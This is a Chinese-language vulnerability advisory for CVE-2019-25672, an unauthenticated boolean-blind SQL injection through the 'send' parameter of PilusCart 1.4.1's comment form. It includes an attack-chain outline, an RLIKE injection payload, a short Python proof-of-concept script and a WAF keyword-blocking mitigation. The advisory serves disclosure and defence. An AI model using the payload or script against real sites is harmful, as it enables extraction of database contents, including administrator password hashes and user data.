IPBUF安全漏洞报告
English
CVE-2019-25672 CVSS 8.2 高危

CVE-2019-25672 PilusCart SQL注入漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2019-25672
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PilusCart

相关标签

SQL注入PilusCartCVE-2019-25672无需认证RLIKE注入

漏洞概述

PilusCart 1.4.1版本被发现存在一处高危SQL注入安全漏洞。该漏洞源于应用程序未能对用户输入进行有效的安全过滤,导致未经身份验证的远程攻击者可以通过评论提交接口中的'send'参数注入恶意SQL语句。利用基于RLIKE的布尔盲注技术,攻击者能够成功操纵后端数据库查询逻辑,进而非法获取数据库中的敏感信息。此漏洞无需用户交互且利用门槛较低,对电商系统的数据安全构成严重威胁。

技术细节

该漏洞的技术核心在于PilusCart 1.4.1在处理评论提交逻辑时,直接将POST请求中的'send'参数拼接到SQL查询语句中,未实施任何参数化查询或输入清洗机制。攻击者无需账号密码即可访问受影响端点。利用方式主要采用MySQL特有的RLIKE(正则匹配)函数进行布尔盲注。通过构造诸如`1' RLIKE (IF(condition, 1, 0)) AND '1'='1`的Payload,攻击者可以根据服务器返回的HTTP响应差异(True/False页面的不同)逐字节推导出数据库内容。由于攻击向量为网络(AV:N)且无需权限(PR:N),攻击者可自动化遍历表结构、管理员密码哈希及用户数据。此外,结合时间延迟技术,攻击者还能在无回显环境下进一步确认数据,导致全站敏感信息面临极高的泄露风险。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行的是PilusCart 1.4.1,并定位到评论提交接口。
STEP 2
武器化
攻击者构造针对'send'参数的SQL注入Payload,使用RLIKE函数根据布尔逻辑返回不同的数据库响应。
STEP 3
传递
攻击者向目标端点发送特制的POST请求,无需经过身份验证。
STEP 4
利用
服务器解析恶意SQL语句,攻击者根据响应的差异(如页面内容或HTTP状态码)推断数据库内容,逐步提取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL endpoint for comment submission target_url = "http://example.com/path_to_comment_submit" # Attacker-controlled cookies or headers (if needed) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload exploiting the 'send' parameter via RLIKE boolean-based injection # This payload attempts to extract the first character of the database name payload = { "send": "1' RLIKE (SELECT (CASE WHEN (SUBSTRING(DATABASE(),1,1)='p') THEN 1 ELSE 0x28 END)) AND '1'='1" } try: # Send POST request response = requests.post(target_url, data=payload, headers=headers, timeout=10) # Analyze response logic if "error" not in response.text and response.status_code == 200: print("[+] Payload executed successfully.") print("[+] Response length:", len(response.text)) # Further logic required to compare True/False responses for data extraction else: print("[-] Anomaly detected or request failed.") except requests.RequestException as e: print(f"[-] Connection error: {e}")

影响范围

PilusCart 1.4.1

防御指南

临时缓解措施
在未升级修复前,建议在Web应用防火墙(WAF)中添加规则,拦截包含RLIKE、SLEEP、UNION SELECT等关键字的恶意请求,或暂时禁用评论功能以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表